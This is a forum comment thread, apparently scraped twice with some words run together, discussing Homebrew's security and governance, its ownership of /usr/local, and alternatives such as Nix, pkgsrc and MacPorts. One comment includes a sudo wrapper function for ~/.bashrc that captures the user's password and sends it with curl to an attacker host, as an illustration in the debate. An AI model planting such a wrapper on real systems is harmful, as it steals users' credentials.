Seems like most comments here complain about the article missing other package managers.
For me this article had some good insights into what is going wrong with homebrew, security and governance wise (a software even I have heard of, also it’s coming to windows IIRC). Also the answers to a typical “just fork it” are pretty interesting and have some good guidelines for communities I think.
Last but not least it shows how one can abuse githubs moderation tools, I didn’t even knew you can edit the comments of other people. I’m a bit shocked as I expected you to only be able to edit the headliner and otherwise delete / lock comments. Editing comments of other people is really snarky. (I’m all for showing that something got deleted and wrapping multiple deletes together. (Such that spam deletes aren’t shown per-comment, as it’s done on PRs with multiple hundreds of commits.)
TLDR: Came for some feature ideas for a package manager I’m not using, left with interesting community thoughts and information about security issues.
Another article about macOS package managers which fails to mention Joyent’s binary sets for pkgsrc on macOS… I’m beginning to think I’m the only one using them.
I used to maintain a bootstrapper script for getting people going with Joyent’s pkgsrc builds on macOS a few years back: https://github.com/cmacrae/savemacos
I have since moved to Nix, as I use it for more than just package management. But, I can assure you; you won’t be the only one using those packages!
I’m not using /u/jperkin’s binary packages but I’ve been using pkgsrc on macOS since ~2007 (I’m a former heavy NetBSD user, so rather like pkgsrc). I’m pretty happy with it although I’ve never explored any of the other options (MacPorts, Homebrew, etc).
This was what I was going to say. Switched to Nix and I never looked back. Ok, Darwin is definitely second-tier on macOS (because it has fewer active contributors), so you have to fix things once in a while. Especially combined with home-manager, Nix has large benefits: e.g. on a new Mac, I just clone the git repository with my home-manager configuration, run home-manager switch and my (UNIX-land) configuration is as it was before.
I tried to live the Nix life on Mac, but a package I absolutely needed wasn’t available for Mac and creating a package turned out to be a lot more work than I was willing to put into it. The Linux version of the package actually modifies the binary, I guess to point it at the right path to find its libraries (which seems to be a fairly common practice) and doing the same thing on a Mac was… non-obvious. With Homebrew it’s a one-liner.
Dart, the programming language. Here’s the nix file: https://github.com/NixOS/nixpkgs/blob/master/pkgs/development/interpreters/dart/default.nix. The binary is patched on line 62. I have a branch where I added the latest versions of the interpreter for Linux but I had hoped to also support Mac since that’s what I use at work. I should probably go ahead and PR the Linux stuff at least, I suppose.
The best thing about MacPorts are all the patches we can re-use for nixpkgs. The few times I had some troubles with packaging, there was an answer already in their package repository. Major props to their engineering skills.
Consider a malicious shell script running with the privileges of the current user (perhaps something you found on the internet?) that makes a file at /usr/local/bin/ls..
Boom, now ls is booby-trapped for everyone on the system.
How is running sudo all the time a protection against that type of attack?
That same script could install itself into ~/.bashrc as an alias to sudo:
sudo() {
prompt -s -p "[sudo] password for $(id -un): " password
# record the password somewhere
curl -s https://attacker.com?password=$password
unset sudo # delete self. TODO: also delete from ~/.bashrc
echo "Sorry, try again."
# run the real thing
command sudo "$@"
}
It’s even worse because now the script has root access to the machine.
You can only change .bashrc of your current user though. The article was pointing out how, on a multi-user system, any software running under the account which uses homebrew would be able to change the ghlobal /usr/local/bin/ls. Your example of editing .bashrc would just affect the user who’s running the malware, not every other user.
Of course, with your example, the malware could create a ‘sudo’ function in the .bashrc of a user who has sudo access, and then do whatever it wants to other users when the user has typed in their password. However, that would still require the user to actively type their password into the malware, and for better or worse, most of our security depends on users not doing that.
Besides, the security aspect is just one of the issues mentioned regarding messing with the permissions of system directories. I had no idea homebrew was doing that, and frankly, coming from the linux world, I’m shocked.
But that was my point, if the user needs to use sudo to install software then it’s more likely that they will be typing it.
macOS machines are primarily used as single-user machines and Homebrew’s design is biased against this.
Obviously this is a hypothetical situation. If an arbitrary script is run as the user then they might have other more important things to worry about like having all their password-manager passwords and SSH keys being exfiltrated.
As an attack vector? Maybe, maybe not. It would certainly be a potential issue with macs used as servers, which isn’t that unusual, or for shared computers at schools/libraries/whatever where the server admin might think that they don’t represent a huge threat to the system when logged in as their own user, not knowing that any software they run can freely modify /usr/local without their knowledge.
As a usability issue? Certainly. Personally, I occasionally use my mother’s old macbook air for whenever I need to test some mac stuff, so I have homebrew installed there, and she occasionally uses it too. It’s not inconceivable that she would some time want to install something with homebrew, and it would be insanely annoying if our two accounts started fighting about who “owns” /usr/local. The same issue applies to any instance of a group of people sharing one account where multiple people in that group has essentially sudo access, such as a shared family iMac or something.
You might argue that everyone has their own laptop anyways, but if there are tasks where you need some serious horsepower, such as video editing for school or something, having decently powerful laptops and a shared beast of a desktop can be much more economical than everyone having their own powerful laptops (or worse, everyone having both their own laptop and their own beast of a desktop). I can’t imagine such a setup would be that uncommon.
Maybe homebrew has some intelligent solution for globally installing packages from shared machines which I’m not thinking of, but given that their documentation literally tells you to sudo chown -R $(whoami) a bunch of directories in /usr/local, it sure doesn’t look like it. If I’m wrong, please correct me.
I mean, I take his point about homebrew hijacking shared directories, but a) it works fine with a custom path and b) the number of people with more than one interactive user on their Macintosh is extremely small, so it’s not really like installing to /usr/local/ on a more traditional multi-user Unix system.
I moved off macOS about a year ago, but when I was using it I used homebrew, and this article fails to talk about some of the areas that homebrew is really strong for: e.g., the ease with which a user can edit a formula for a package and submit the change as a PR if desired.
When I got my MBA in 2011, MacPorts seemed to be the standard. I installed it, and have not had an issue that I can remember in the last 8 years.
Then again, not long after that, I decided that it would be smarter to do all my dev in a GNU VM, rather than trying to muck about in my desktop environment.
The point about sudo is irrelevant on single-user systems (which, I believe, are the most common kind of macOS installations) where infecting $USER is enough. Obligatory xkcd.
Another gripe about homebrew, developers are the most likely to have manually installed dylibs, which homebrew throws a fit about when you run brew doctor. The official response is don’t go whitelisting extra things and just ignore the warnings, which is OKAY I guess, but just doesn’t feel friendly to developers to me.
This fits my experience - homebrew has less but it’s way more likely to Just Work. MacPorts will make you say OOH because there’s some package or other that looks shiny so you install it and… Hasn’t been touched in years and no longer works.
Another problem that I have with homebrew is the refusal of the organization to run package included tests. I’ve had to remove running make test from PRs multiple times
I really think that if a system is maintaining its own binary cache, it really should be running at least some tests to make sure that the functionality is there. The homebrew package tests assure that the package is installed correctly, not library or application functionality
Seems like most comments here complain about the article missing other package managers.
For me this article had some good insights into what is going wrong with homebrew, security and governance wise (a software even I have heard of, also it’s coming to windows IIRC). Also the answers to a typical “just fork it” are pretty interesting and have some good guidelines for communities I think.
Last but not least it shows how one can abuse githubs moderation tools, I didn’t even knew you can edit the comments of other people. I’m a bit shocked as I expected you to only be able to edit the headliner and otherwise delete / lock comments. Editing comments of other people is really snarky. (I’m all for showing that something got deleted and wrapping multiple deletes together. (Such that spam deletes aren’t shown per-comment, as it’s done on PRs with multiple hundreds of commits.)
TLDR: Came for some feature ideas for a package manager I’m not using, left with interesting community thoughts and information about security issues.
Another article about macOS package managers which fails to mention Joyent’s binary sets for pkgsrc on macOS… I’m beginning to think I’m the only one using them.
I used to maintain a bootstrapper script for getting people going with Joyent’s pkgsrc builds on macOS a few years back: https://github.com/cmacrae/savemacos
I have since moved to Nix, as I use it for more than just package management. But, I can assure you; you won’t be the only one using those packages!
I used to use savemacos back then, thank you a lot for making something useful and sharing it.
Ah well that’s nice to hear! You’re very welcome
I’m not using /u/jperkin’s binary packages but I’ve been using pkgsrc on macOS since ~2007 (I’m a former heavy NetBSD user, so rather like pkgsrc). I’m pretty happy with it although I’ve never explored any of the other options (MacPorts, Homebrew, etc).
You are not
Seems like he completely missed Nix and this makes a whole article a bit more questionable
This was what I was going to say. Switched to Nix and I never looked back. Ok, Darwin is definitely second-tier on macOS (because it has fewer active contributors), so you have to fix things once in a while. Especially combined with home-manager, Nix has large benefits: e.g. on a new Mac, I just clone the git repository with my home-manager configuration, run
home-manager switchand my (UNIX-land) configuration is as it was before.I wasn’t aware that Nix could be used for this kind of purpose! I’ll have to look into it.
I tried to live the Nix life on Mac, but a package I absolutely needed wasn’t available for Mac and creating a package turned out to be a lot more work than I was willing to put into it. The Linux version of the package actually modifies the binary, I guess to point it at the right path to find its libraries (which seems to be a fairly common practice) and doing the same thing on a Mac was… non-obvious. With Homebrew it’s a one-liner.
Just out of curiosity: do you remember which package?
Dart, the programming language. Here’s the nix file: https://github.com/NixOS/nixpkgs/blob/master/pkgs/development/interpreters/dart/default.nix. The binary is patched on line 62. I have a branch where I added the latest versions of the interpreter for Linux but I had hoped to also support Mac since that’s what I use at work. I should probably go ahead and PR the Linux stuff at least, I suppose.
FYI, here’s my PR for the Linux versions :-) https://github.com/NixOS/nixpkgs/pull/60607
There’s also pkgsrc (macOS), though it’s very hard to say how comprehensive macOS support is there.
The best thing about MacPorts are all the patches we can re-use for nixpkgs. The few times I had some troubles with packaging, there was an answer already in their package repository. Major props to their engineering skills.
I’ve been running Homebrew using a custom $HOME-based prefix for years and it works most of the time.
How is running
sudoall the time a protection against that type of attack?That same script could install itself into
~/.bashrcas an alias tosudo:It’s even worse because now the script has root access to the machine.
You can only change .bashrc of your current user though. The article was pointing out how, on a multi-user system, any software running under the account which uses homebrew would be able to change the ghlobal /usr/local/bin/ls. Your example of editing .bashrc would just affect the user who’s running the malware, not every other user.
Of course, with your example, the malware could create a ‘sudo’ function in the .bashrc of a user who has sudo access, and then do whatever it wants to other users when the user has typed in their password. However, that would still require the user to actively type their password into the malware, and for better or worse, most of our security depends on users not doing that.
Besides, the security aspect is just one of the issues mentioned regarding messing with the permissions of system directories. I had no idea homebrew was doing that, and frankly, coming from the linux world, I’m shocked.
But that was my point, if the user needs to use
sudoto install software then it’s more likely that they will be typing it. macOS machines are primarily used as single-user machines and Homebrew’s design is biased against this.Obviously this is a hypothetical situation. If an arbitrary script is run as the user then they might have other more important things to worry about like having all their password-manager passwords and SSH keys being exfiltrated.
I don’t disagree at all with the concern but am curious: are multi user OS X systems common enough to worry about that particular vector?
As an attack vector? Maybe, maybe not. It would certainly be a potential issue with macs used as servers, which isn’t that unusual, or for shared computers at schools/libraries/whatever where the server admin might think that they don’t represent a huge threat to the system when logged in as their own user, not knowing that any software they run can freely modify /usr/local without their knowledge.
As a usability issue? Certainly. Personally, I occasionally use my mother’s old macbook air for whenever I need to test some mac stuff, so I have homebrew installed there, and she occasionally uses it too. It’s not inconceivable that she would some time want to install something with homebrew, and it would be insanely annoying if our two accounts started fighting about who “owns” /usr/local. The same issue applies to any instance of a group of people sharing one account where multiple people in that group has essentially sudo access, such as a shared family iMac or something.
You might argue that everyone has their own laptop anyways, but if there are tasks where you need some serious horsepower, such as video editing for school or something, having decently powerful laptops and a shared beast of a desktop can be much more economical than everyone having their own powerful laptops (or worse, everyone having both their own laptop and their own beast of a desktop). I can’t imagine such a setup would be that uncommon.
Maybe homebrew has some intelligent solution for globally installing packages from shared machines which I’m not thinking of, but given that their documentation literally tells you to
sudo chown -R $(whoami)a bunch of directories in /usr/local, it sure doesn’t look like it. If I’m wrong, please correct me.I mean, I take his point about homebrew hijacking shared directories, but a) it works fine with a custom path and b) the number of people with more than one interactive user on their Macintosh is extremely small, so it’s not really like installing to
/usr/local/on a more traditional multi-user Unix system.I moved off macOS about a year ago, but when I was using it I used homebrew, and this article fails to talk about some of the areas that homebrew is really strong for: e.g., the ease with which a user can edit a formula for a package and submit the change as a PR if desired.
I believe that Brew’s analytics are opt-out, i.e. on by default (https://docs.brew.sh/Analytics#opting-out, https://lobste.rs/s/wi9rqp/homebrew_package_manager_silently_enables_google_analytics_opt-out).
When I got my MBA in 2011, MacPorts seemed to be the standard. I installed it, and have not had an issue that I can remember in the last 8 years.
Then again, not long after that, I decided that it would be smarter to do all my dev in a GNU VM, rather than trying to muck about in my desktop environment.
The point about sudo is irrelevant on single-user systems (which, I believe, are the most common kind of macOS installations) where infecting $USER is enough. Obligatory xkcd.
Another gripe about homebrew, developers are the most likely to have manually installed dylibs, which homebrew throws a fit about when you run brew doctor. The official response is don’t go whitelisting extra things and just ignore the warnings, which is OKAY I guess, but just doesn’t feel friendly to developers to me.
This fits my experience - homebrew has less but it’s way more likely to Just Work. MacPorts will make you say OOH because there’s some package or other that looks shiny so you install it and… Hasn’t been touched in years and no longer works.
Another problem that I have with homebrew is the refusal of the organization to run package included tests. I’ve had to remove running
make testfrom PRs multiple timesI really think that if a system is maintaining its own binary cache, it really should be running at least some tests to make sure that the functionality is there. The
homebrewpackage tests assure that the package is installed correctly, not library or application functionality